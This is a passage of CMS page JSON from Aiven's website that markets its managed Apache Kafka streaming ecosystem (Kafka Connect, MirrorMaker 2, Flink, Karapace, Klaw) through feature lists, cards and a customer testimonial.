savings."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dcdd08adff0a","_type":"block","children":[{"_key":"0ef0e041e6e7","_type":"span","marks":["strong"],"text":"Streamline Data Movement \u0026 Processing:"},{"_key":"84cec0cee844","_type":"span","marks":[],"text":" Seamlessly transport data with Kafka, integrate with external systems using Kafka Connect, manage schemas with Karapace, replicate data with MirrorMaker 2, and process streams in real-time with Flink."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5c0cdbfc8fd7","_type":"block","children":[{"_key":"7f0faf7e3c5e","_type":"span","marks":["strong"],"text":"Operational Simplicity \u0026 Governance:"},{"_key":"95ebc2e89bf4","_type":"span","marks":[],"text":" Simplify Kafka cluster management, scaling, and monitoring while ensuring data quality, security, and compliance with Klaw's governance capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d735ea981ef3","_type":"block","children":[{"_key":"677a84dea11a","_type":"span","marks":["0e39f0a6092f"],"text":"Learn more"}],"markDefs":[{"_key":"0e39f0a6092f","_type":"internalLink","internalLink":{"_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}}],"style":"normal"}],"title":"Aiven's streaming ecosystem"},{"_key":"7f2mi3norcgjasf2q384taglak7n2mgf","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"id":"kafka","panelText":[{"_key":"c36a49f5af3d","_type":"block","children":[{"_key":"ada0ad0d513c0","_type":"span","marks":["strong"],"text":"Managed, Open Source Kafka:"},{"_key":"ada0ad0d513c1","_type":"span","marks":[],"text":" Streamline your real-time data pipelines and event-driven architectures with a hassle-free, cloud-native service built on 100% open-source Apache Kafka."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4588f8882a22","_type":"block","children":[{"_key":"ada0ad0d513c2","_type":"span","marks":["strong"],"text":"Multi-Cloud Flexibility:"},{"_key":"ada0ad0d513c3","_type":"span","marks":[],"text":" Deploy on your preferred cloud provider with one-click portability to other clouds, enabling complete flexibility and control over your streaming data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2bbfb190f7ce","_type":"block","children":[{"_key":"ada0ad0d513c4","_type":"span","marks":["strong"],"text":"Seamless Scalability and High Availability:"},{"_key":"ada0ad0d513c5","_type":"span","marks":[],"text":" Scale your Kafka clusters effortlessly to handle any workload, and enjoy peace of mind with automatic failover and multi-zone replication."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bcc2bea3ef9","_type":"block","children":[{"_key":"ada0ad0d513c6","_type":"span","marks":["strong"],"text":"Enterprise-Grade Security:"},{"_key":"ada0ad0d513c7","_type":"span","marks":[],"text":" Safeguard your sensitive data with end-to-end encryption, private networking, role-based access control, and comprehensive audit logging."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"142f1b890abf","_type":"block","children":[{"_key":"1c378a9d8542","_type":"span","marks":["5e6d06e27796"],"text":"Learn more"}],"markDefs":[{"_key":"5e6d06e27796","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Apache Kafka®"},{"_key":"6dcejg6yqwyxxkhylv1y2nkq2ye4hqpo","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"id":"kafka-connect","panelText":[{"_key":"6ad8714a35f4","_type":"block","children":[{"_key":"295311a91d6d","_type":"span","marks":["strong"],"text":"Streamlined Data Integration:"},{"_key":"6050bb0980f0","_type":"span","marks":[],"text":" Effortlessly connect Apache Kafka to your existing data sources and sinks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5c0eb2ea24c6","_type":"block","children":[{"_key":"ed1d2b46abde","_type":"span","marks":["strong"],"text":"Extensive Connector Library:"},{"_key":"d81ce84e232b","_type":"span","marks":[],"text":" Leverage a growing library of 30+ pre-built connectors for seamless integration with popular databases, cloud services, and messaging systems."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bbb67900755","_type":"block","children":[{"_key":"0b54a1157612","_type":"span","marks":["strong"],"text":"Managed \u0026 Scalable:"},{"_key":"1db013e96ce4","_type":"span","marks":[],"text":" Deploy and scale managed Kafka Connect clusters on your preferred cloud, without the operational overhead."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d85d017d2ea6","_type":"block","children":[{"_key":"eef92da8b166","_type":"span","marks":["strong"],"text":"Focus on Your Data Pipelines:"},{"_key":"e84588f49704","_type":"span","marks":[],"text":" Let Aiven handle the complexities of Kafka Connect management, scaling, and security, so you can focus on building and optimizing your data flows."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"22fb13c05b5a","_type":"block","children":[{"_key":"e70c75e2ecfc","_type":"span","marks":["ad105e4373db"],"text":"Learn more"}],"markDefs":[{"_key":"ad105e4373db","_type":"internalLink","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Apache Kafka® Connect"},{"_key":"g5g5mnpj81kxjf0n2uo9fv0v373lnwmm","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"id":"kafka-mirrormaker","panelText":[{"_key":"088d4513e5f0","_type":"block","children":[{"_key":"639a9cd2ace20","_type":"span","marks":["strong"],"text":"Effortless Kafka Replication:"},{"_key":"639a9cd2ace21","_type":"span","marks":[],"text":" Simplify cross-cluster data synchronization with a managed MirrorMaker 2 service."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"66f34f33dfe3","_type":"block","children":[{"_key":"639a9cd2ace22","_type":"span","marks":["strong"],"text":"Multi-Cloud:"},{"_key":"639a9cd2ace23","_type":"span","marks":[],"text":" Replicate data seamlessly between Kafka clusters located anywhere with one-click simplicity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"24f3c072cf26","_type":"block","children":[{"_key":"639a9cd2ace24","_type":"span","marks":["strong"],"text":"High Availability \u0026 Scalability:"},{"_key":"639a9cd2ace25","_type":"span","marks":[],"text":" Ensure continuous data replication with built-in fault tolerance and horizontal scaling capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"75af13dd8c33","_type":"block","children":[{"_key":"639a9cd2ace26","_type":"span","marks":["strong"],"text":"Peace of Mind:"},{"_key":"639a9cd2ace27","_type":"span","marks":[],"text":" Aiven's 24/7 expert support helps you maintain reliable and secure replication flows."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"970ecce8c75d","_type":"block","children":[{"_key":"2bf5657c50af","_type":"span","marks":["94d9ce70983d"],"text":"Learn more"}],"markDefs":[{"_key":"94d9ce70983d","_type":"internalLink","internalLink":{"_ref":"5ldaB9gWRk2DWBu2R3QzcR","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Apache Kafka® MirrorMaker 2"},{"_key":"dc0jxoziby1lyvdapqrbxvwafx2gw6mx","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"id":"flink","panelText":[{"_key":"b9d137c52bba","_type":"block","children":[{"_key":"c0dd1f9efe6e0","_type":"span","marks":["strong"],"text":"Powerful Stream Processing, Simplified:"},{"_key":"c0dd1f9efe6e1","_type":"span","marks":[],"text":" Build and deploy real-time data pipelines and streaming analytics applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c9849508125","_type":"block","children":[{"_key":"c0dd1f9efe6e2","_type":"span","marks":["strong"],"text":"Cloud-Agnostic Deployment:"},{"_key":"c0dd1f9efe6e3","_type":"span","marks":[],"text":" Run your Flink jobs on your preferred cloud provider for maximum flexibility and cloud portability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bcb1d799efc4","_type":"block","children":[{"_key":"c0dd1f9efe6e4","_type":"span","marks":["strong"],"text":"Seamless Integration:"},{"_key":"c0dd1f9efe6e5","_type":"span","marks":[],"text":" Easily connect Flink with other Aiven services like Kafka and PostgreSQL, creating a unified streaming data platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fcab7625523e","_type":"block","children":[{"_key":"c0dd1f9efe6e6","_type":"span","marks":["strong"],"text":"Focus on Development, Not Operations:"},{"_key":"c0dd1f9efe6e7","_type":"span","marks":[],"text":" Aiven handles cluster provisioning, scaling, maintenance, and high availability, allowing you to focus on building and optimizing your Flink applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c7170d6c950e","_type":"block","children":[{"_key":"57b992e3bc33","_type":"span","marks":["5418dfc566fe"],"text":"Learn more"}],"markDefs":[{"_key":"5418dfc566fe","_type":"internalLink","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Apache Flink®"},{"_key":"5a7fc4ff2f46","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"id":"karapace","panelText":[{"_key":"34b70d552ab5","_type":"block","children":[{"_key":"0d1b53d83f43","_type":"span","marks":["strong"],"text":"Open-Source Flexibility:"},{"_key":"41633657ff35","_type":"span","marks":[],"text":" Leverage the power and transparency of a fully open-source schema registry solution."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"08b33c2380cd","_type":"block","children":[{"_key":"52daf1b4025c0","_type":"span","marks":["strong"],"text":"Centralized Schema Management:"},{"_key":"52daf1b4025c1","_type":"span","marks":[],"text":" Ensure data compatibility and enforce schema evolution with Karapace to avoid downstream issues."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"729b359b5ef7","_type":"block","children":[{"_key":"52daf1b4025c2","_type":"span","marks":["strong"],"text":"Seamless Integration:"},{"_key":"52daf1b4025c3","_type":"span","marks":[],"text":" Effortlessly integrate Karapace with Aiven's Kafka streaming ecosystem."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bc93ec33e903","_type":"block","children":[{"_key":"52daf1b4025c4","_type":"span","marks":["strong"],"text":"Simplified Schema Operations:"},{"_key":"52daf1b4025c5","_type":"span","marks":[],"text":" Benefit from user-friendly schema registration, validation, and enforcement."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a84f6a43319a","_type":"block","children":[{"_key":"0c87c2ddf17b","_type":"span","marks":["dacee0e22696"],"text":"Learn more"}],"markDefs":[{"_key":"dacee0e22696","_type":"internalLink","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"}}],"style":"normal"}],"title":"Karapace"},{"_key":"0883b5cd7342","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"id":"klaw","panelText":[{"_key":"539cb1da0921","_type":"block","children":[{"_key":"876caf711c400","_type":"span","marks":["strong"],"text":"Streamline Kafka Governance:"},{"_key":"876caf711c401","_type":"span","marks":[],"text":" Simplify and centralize the management of your Kafka clusters, topics, connectors, and schemas with Klaw's intuitive interface."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6271f42e1248","_type":"block","children":[{"_key":"876caf711c402","_type":"span","marks":["strong"],"text":"Enhance Security \u0026 Compliance:"},{"_key":"876caf711c403","_type":"span","marks":[],"text":" Implement role-based access control and approval workflows to ensure data security and adherence to regulatory requirements."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3f5ab1aa218d","_type":"block","children":[{"_key":"876caf711c404","_type":"span","marks":["strong"],"text":"Empower Developer Self-Service:"},{"_key":"876caf711c405","_type":"span","marks":[],"text":" Enable developers to request and manage Kafka resources independently while maintaining centralized control and oversight."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49a9ef38ac75","_type":"block","children":[{"_key":"876caf711c406","_type":"span","marks":["strong"],"text":"Ensure Data Quality:"},{"_key":"876caf711c407","_type":"span","marks":[],"text":" Integrate with schema registries to enforce schema compatibility and prevent data corruption, maintaining data integrity throughout your streaming pipelines."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c94fc8f09c1f","_type":"block","children":[{"_key":"208a90324549","_type":"span","marks":["377aed88f631"],"text":"Learn more"}],"markDefs":[{"_key":"377aed88f631","_type":"internalLink","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}}],"style":"normal"}],"title":"Klaw"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tr-bl","title":"Dedicated Kafka clusters with a complete streaming ecosystem","topOverlap":false},{"_key":"4e5c0301f3d7","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"a8a6a2b278bd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"39559b2f04b2","_type":"block","children":[{"_key":"c5afd894858a0","_type":"span","marks":[],"text":"Connect to popular data sources and destinations with pre-built connectors, or create your own."}],"markDefs":[],"style":"normal"}],"title":"Connect","variant":"icon-card"},{"_key":"7c16a542e6b0d8c0cf7dc24dbf0ea9c7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"43ae52ddf754","_type":"block","children":[{"_key":"861400cb27df0","_type":"span","marks":[],"text":"Move massive volumes of data with very low latencies."}],"markDefs":[],"style":"normal"}],"title":"Stream","variant":"icon-card"},{"_key":"df8533ace262e28da978d6aff737ba18","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"123c6c76eb37","_type":"block","children":[{"_key":"f45e1c0012ab0","_type":"span","marks":[],"text":"Transform data in flight to prepare it for downstream systems and applications."}],"markDefs":[],"style":"normal"}],"title":"Process","variant":"icon-card"},{"_key":"80df5a5478207787ebaaf3e1b40845a0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"43051647d827","_type":"block","children":[{"_key":"fd791f2dbdac0","_type":"span","marks":[],"text":"Store data streams in user-defined topics for an immutable history. Set retention periods and utilize Tiered Storage for cost optimization."}],"markDefs":[],"style":"normal"}],"title":"Store","variant":"icon-card"},{"_key":"8fe373a3af5de7c181fe416a6de2d295","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"7eabe99eb7ae","_type":"block","children":[{"_key":"854971b99f0b0","_type":"span","marks":[],"text":"Manage connectors, schemas, topics, and access control for data quality and security."}],"markDefs":[],"style":"normal"}],"title":"Govern","variant":"icon-card"},{"_key":"63df5b8f63c34592bec483b083d0686f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"4f4addc93efb","_type":"block","children":[{"_key":"6d2866e3cffa0","_type":"span","marks":[],"text":"Serve streaming data to systems and applications for "},{"_key":"6d2866e3cffa1","_type":"span","marks":["strong"],"text":"human"},{"_key":"6d2866e3cffa2","_type":"span","marks":[],"text":" and "},{"_key":"6d2866e3cffa3","_type":"span","marks":["strong"],"text":"machine"},{"_key":"6d2866e3cffa4","_type":"span","marks":[],"text":" analysis, decision making, and action."}],"markDefs":[],"style":"normal"}],"title":"Productize","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"dd5fcf205665","_type":"block","children":[{"_key":"abc44f934e5f0","_type":"span","marks":[],"text":"Aiven offers a comprehensive, fully open source, managed streaming ecosystem built on Apache Kafka. This ecosystem seamlessly integrates with the broader "},{"_key":"036f1ba9db44","_type":"span","marks":["396cd1ee06ec"],"text":"Aiven data and AI platform"},{"_key":"847f712bee0a","_type":"span","marks":[],"text":", empowering organizations to build, deploy, and scale real-time data pipelines, event-driven architectures, and machine learning applications effortlessly across any cloud."}],"markDefs":[{"_key":"396cd1ee06ec","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"tagline":"How it works","title":"Open source streaming ecosystem","topOverlap":false},{"_key":"f84e2ea7df27","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"93f81c929642","_type":"testimonialItem","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"1e6c05c1be6a","_type":"block","children":[{"_key":"22340fcf26df","_type":"span","marks":[],"text":"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer. We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-tl","topOverlap":false,"variant":"media"},{"_key":"3372b2d82130","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"0063b9a763eb2a802d3cd949178adc9f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e0a66e185462","_type":"block","children":[{"_key":"eb07b051e0900","_type":"span","marks":[],"text":"Reduce dependencies on proprietary solutions and skills with a fully open source streaming ecosystem supported by Aiven's committer-driven expertise."}],"markDefs":[],"style":"normal"}],"title":"Open source"},{"_key":"5b8c1543bc45","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6f8ff87bbee6","_type":"block","children":[{"_key":"8278741c9096","_type":"span","marks":[],"text":"Create an Apache Kafka® cluster in the cloud of your choice with the freedom of single-click portability to other cloud providers."}],"markDefs":[],"style":"normal"}],"title":"Portable across clouds"},{"_key":"2f509f959381e09107bfcecb2515f698","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"72fb6b296a32","_type":"block","children":[{"_key":"90d00227e5560","_type":"span","marks":[],"text":"Connect to your data sources and destinations with pre-built connectors and leverage multiple integrations to your existing tools and metrics."}],"markDefs":[],"style":"normal"}],"title":"Connected"},{"_key":"9b4d06a6bca4886d392ba1352a4e136a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bad80e9c9512","_type":"block","children":[{"_key":"577f1a8595432","_type":"span","marks":[],"text":"Fully self-driving with automatic provisioning, cluster expansion, storage and capacity management, monitoring, upgrades, and security patches."}],"markDefs":[],"style":"normal"}],"title":"Automated platform"},{"_key":"6675b377de51bc27dac7faf76a16b5ef","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e0a66e185462","_type":"block","children":[{"_key":"eb07b051e0900","_type":"span","marks":[],"text":"Self-healing automation with 99.99% uptime SLA through dedicated, cloud-native clusters deployed across three availability zones."}],"markDefs":[],"style":"normal"}],"title":"Resilient"},{"_key":"2b9bc378ae9d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"265fc2a8d859","_type":"block","children":[{"_key":"0af362e1dc830","_type":"span","marks":[],"text":"Aiven provides simple, transparent, all-in, and predictable pricing without hidden costs or complexities."}],"markDefs":[],"style":"normal"}],"title":"Predictable pricing"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Learn more about streaming solutions"},"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"bc0b8c13356a","_type":"block","children":[{"_key":"e0608dc4a615","_type":"span","marks":[],"text":"Aiven brings together all the elements needed for you to move huge amounts of data with very low latency. Our streaming platform is ideal for event-driven architectures, real-time data pipelines, change data capture (CDC), fine-tuning AI models, real-time analytics, and more. "}],"markDefs":[],"style":"normal"},{"_key":"b9e42912645e","_type":"block","children":[{"_key":"8fc8ab6538790","_type":"span","marks":[],"text":"Let Aiven manage your streaming infrastructure so you can focus on creating real-time applications and engaging customer experiences."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Become real-time data driven"},{"_key":"8c94ebe3a7048a221b449bed10bf6ad1","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"99ec49cec6bf","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"2fda210cfc01","_type":"block","children":[{"_key":"d58460b3ebbc","_type":"span","marks":[],"text":"Aiven for Apache Kafka® is a managed, cloud-native service that empowers you to build real-time data pipelines and event-driven architectures with ease. Deploy on your preferred cloud with one-click portability across clouds, and enjoy the simplicity of a managed service while leveraging the power of 100% open-source Kafka. Scale effortlessly, integrate seamlessly with your existing tools, and ensure top-notch security for your sensitive data."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®","variant":"icon-card"},{"_key":"7a4d28799d3bf009b6ab76b59a48fc87","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"e3109b983ebe","_type":"block","children":[{"_key":"490af5bcb313","_type":"span","marks":[],"text":"Aiven for Apache Kafka® Connect simplifies data integration, making it effortless to move data in and out of your Kafka clusters. Deploy managed Kafka Connect clusters on your preferred cloud, and leverage a growing library of pre-built connectors to integrate with popular data sources and sinks. Focus on building your data pipelines or event-driven architecture, while Aiven handles the complexities of Kafka Connect management, scaling, and security."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® Connect","variant":"icon-card"},{"_key":"79f41c2f2db047dee803052c0c3b9343","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-mirrormaker","title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"a7d6c99e8314","_type":"block","children":[{"_key":"10f162cd1163","_type":"span","marks":[],"text":"Aiven for Apache Kafka® MirrorMaker 2 is a managed service that simplifies cross-cluster Kafka data replication. Effortlessly keep your topics in sync across multiple Kafka clusters, whether they're deployed in different regions, clouds."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka MirrorMaker 2","variant":"icon-card"},{"_key":"a539a3f0f805ba1c82cc3fa3850e7b89","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"aae57d4f4a0c","_type":"block","children":[{"_key":"91cc3f2bc3ad","_type":"span","marks":[],"text":"Aiven for Apache Flink® empowers you to build and deploy powerful, stateful stream processing applications with ease. This managed service handles the complexities of Flink cluster provisioning, scaling, and maintenance, allowing you to focus on developing real-time data pipelines, event-driven architectures, and analytics solutions. Deploy on your preferred cloud, and seamlessly integrate Flink with other Aiven services like Kafka and PostgreSQL for a unified data platform."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Flink®","variant":"icon-card"},{"_key":"66cdfaa3c562f170f524460bb864109b","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/karapace","title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"405f3b55baaa","_type":"block","children":[{"_key":"bb2d6d080a6e","_type":"span","marks":[],"text":"Karapace is a fully open-source managed schema registry service, provides essential schema management capabilities for your Apache Kafka® clusters. Karapace ensures data compatibility and governance, allowing you to evolve your schemas with confidence. Enjoy the benefits of seamless integration, simplified schema registration and validation, and compatibility enforcement, all within the Aiven streaming ecosystem."}],"markDefs":[],"style":"normal"}],"title":"Karapace","variant":"icon-card"},{"_key":"e19b93244db4442239aef5decdbebc95","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/howto/kafka-klaw","title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"677561f64a2f","_type":"block","children":[{"_key":"9f8d9fa31554","_type":"span","marks":[],"text":"Klaw is an open-source, web-based toolkit that simplifies and streamlines Apache Kafka® governance. With Klaw, you can easily manage topics, schemas, ACLs, and connectors through an intuitive interface, enabling developer self-service while maintaining control and security. Implement role-based access control, approval workflows, and schema compatibility checks to ensure data quality and compliance. Klaw seamlessly integrates with Aiven for Apache Kafka, providing a comprehensive solution for managing your Kafka infrastructure and data governance needs."}],"markDefs":[],"style":"normal"}],"title":"Klaw","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Learn more about streaming solutions"},"roundedCorners":"rounded-none","subtitle":[{"_key":"79dbc09b7368","_type":"block","children":[{"_key":"cee50912232b0","_type":"span","marks":[],"text":"Aiven's streaming platform delivers a complete open-source streaming ecosystem built around Apache Kafka®. Beyond high-volume and low-latency data transport, it provides all of the tools to ensure your data is reliable, secure, and well-governed."}],"markDefs":[],"style":"normal"},{"_key":"a12c38cf1785","_type":"block","children":[{"_key":"d84aaa146909","_type":"span","marks":[],"text":"Blog: "},{"_key":"4a3682b679d5","_type":"span","marks":["bc976d23909e"],"text":"A complete open source ecosystem for Apache Kafka®"}],"markDefs":[{"_key":"bc976d23909e","_type":"internalLink","internalLink":{"_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}}],"style":"normal"}],"tagline":"Why Aiven","title":"Our streaming platform"},{"_key":"md4ai9bbezrgszu0uj474dxq8jdvom4h","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 